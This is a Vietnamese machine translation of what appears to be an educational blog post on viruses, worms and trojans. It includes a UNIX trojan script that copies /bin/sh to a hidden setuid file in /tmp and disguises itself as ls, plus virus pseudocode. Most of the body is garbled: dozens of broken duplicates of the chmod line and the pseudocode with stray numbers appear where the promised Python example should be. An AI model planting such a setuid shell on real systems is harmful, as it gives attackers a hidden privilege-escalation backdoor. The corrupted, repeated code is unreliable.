GHI CHÚ. Sử dụng trình biên dịch trực tuyến sẽ không hoạt động ở đây. Vui lòng cài đặt Python 2. 7x và cv2, các mô-đun argparse để thực sự thử ví dụ này
chào các bạn. Chào mừng trở lại. Trước khi tiếp tục với Logic độc hại, tôi yêu cầu bạn xem qua bài báo tuyệt vời và nhiều thông tin này Worms, Viruses and Beyond
Bây giờ, bài viết này sẽ tập trung nhiều hơn vào các ứng dụng hơn là lý thuyết về virus máy tính, sâu máy tính và ngựa thành Troy
Tuy nhiên, xin lưu ý rằng bài viết này chỉ được sử dụng cho mục đích giáo dục. Tôi không khuyến khích việc sử dụng vi-rút, sâu máy tính hoặc trojan để tấn công hệ thống máy tính và gây ra thiệt hại
Logic độc hại là một tập hợp các hướng dẫn [về cơ bản là một chương trình] gây ra sự vi phạm chính sách bảo mật của trang web/chương trình/ứng dụng, v.v.
Tập lệnh UNIX
cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $*
Trong ví dụ này, chúng tôi giả định rằng “. ” nằm trong môi trường đường dẫn và tập lệnh đã được đặt tên là ls và được đặt trong thư mục
Phân tích kịch bản
Tập lệnh này tạo một bản sao của UNIX Shell được thiết lập bởi người dùng thực thi chương trình này. Để hiểu các chương trình setuid, trước tiên chúng ta cần hiểu cách Nhận dạng người dùng được lưu trữ trong HĐH UNIX
Trong hệ điều hành UNIX, danh tính người dùng thường được biểu diễn dưới dạng số nguyên từ 0 đến 65.535. Số này còn được gọi là UID [Số nhận dạng duy nhất]. Bây giờ, những gì các chương trình setuid làm là chúng tạo các quy trình với UID của chủ sở hữu chứ không phải của người thứ ba thực hiện chương trình. Điều này có nghĩa là người thi hành sẽ có các quyền của chủ sở hữu… Bản thân điều này đã là một lỗ hổng có thể xảy ra
Quay trở lại tập lệnh của chúng ta, do đó, một bản sao cài đặt của shell UNIX đã được tạo. Sau đó, chương trình này bị xóa và sau đó lệnh ls chính xác [để liệt kê các tệp và thư mục có trong thư mục làm việc hiện tại] được thực thi
Ngựa thành Troia
Quay lại tập lệnh trước… Giả sử nếu ai đó [root] gõ
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh
Nếu tập lệnh được gõ một cách có chủ ý, thì nó sẽ dẫn đến một Trojan Horse
Virus – Một định dạng cơ bản
Hầu hết các virus máy tính đều tuân theo kịch bản cơ bản sau
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus
Về cơ bản, mọi virus máy tính đều có hai giai đoạn -
- Giai đoạn chèn – trong giai đoạn này, vi-rút tự chèn vào mục tiêu
- Giai đoạn thực thi- trong giai đoạn này, virus thực hiện một số hành động
Hãy xem xét một loại virus thực sự trong Python. Bây giờ đây không phải là một loại vi-rút thực sự sẽ gây ra các tệp bị hỏng, xóa các tệp hệ thống, v.v. nhưng chỉ là một loại virus vô hại đơn giản
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh6
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh7
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh8
________ 99 ________ 100 ________ 101
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh02
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh0
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh1
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh2
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____14
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh6
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____18____100
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus0
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus2
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus3
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus4
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus5
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus6
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7____28
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7_______960
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh61
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh63
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh65
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh67______962
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh63
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh71
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh72
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh74
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7_______976
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh77
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh78
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh79
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh80
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh83
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh84
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh72
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh87
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh89
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh91
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus2
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh94
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus4
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh96
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh97
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh63
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh001
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh002
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh60 ________ 99
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus4 ________ 1006
________ 1007
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh89 _______ 100 ________ 1010
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh007
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh012
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh60
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh89
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh91
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh019
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh002
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh021____962
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh63
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh62
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh025
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____1027
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh028
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh02
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh1
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh02
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____104
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh06
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____108____100
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh96
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh11
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____113
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh15
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus2
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh18
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus4
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh20
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh21
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7__
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh60
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh24
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh26
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh27
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh28
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh29
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh019
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh13____962
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh35
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3____137
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus2
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh40
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus4
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh42
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7______144
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh96
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh47
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7____149
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh51
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7____153
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7______144
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh96
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh58
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh59
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh60
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7____162____962
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh64
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus7____153
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction[s] //Optional Go back to beginning Endvirus6
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh68
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh1
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh70
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh3_______960
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh73
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh76
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh27
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh78
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh81
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh019
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh66
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh84
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh85______186
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh87
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh4
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh00
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh90
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh91
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh92
Hiện tại, đây là một loại vi-rút khá an toàn. Tuy nhiên, định dạng cơ bản và hoạt động giống nhau
Ngoài ra, có nhiều loại vi-rút máy tính khác nhau – Bộ lây nhiễm khu vực khởi động, bộ lây nhiễm thực thi, vi-rút đa phần, vi-rút TSR, vi-rút Stealth, vi-rút được mã hóa, vi-rút đa hình, vi-rút macro
Bây giờ, tôi sẽ không đi vào chi tiết và sẽ chỉ dừng lại ở đây. Đó là tất cả từ phía tôi
Giới thiệu về tác giả
Vishwesh Shrimali là sinh viên Đại học Kỹ thuật Cơ khí tại BITS Pilani. Anh ấy đáp ứng
Nếu bạn cũng muốn giới thiệu blog của mình tại đây, vui lòng xem Gblog để viết blog của khách trên GeeksforGeeks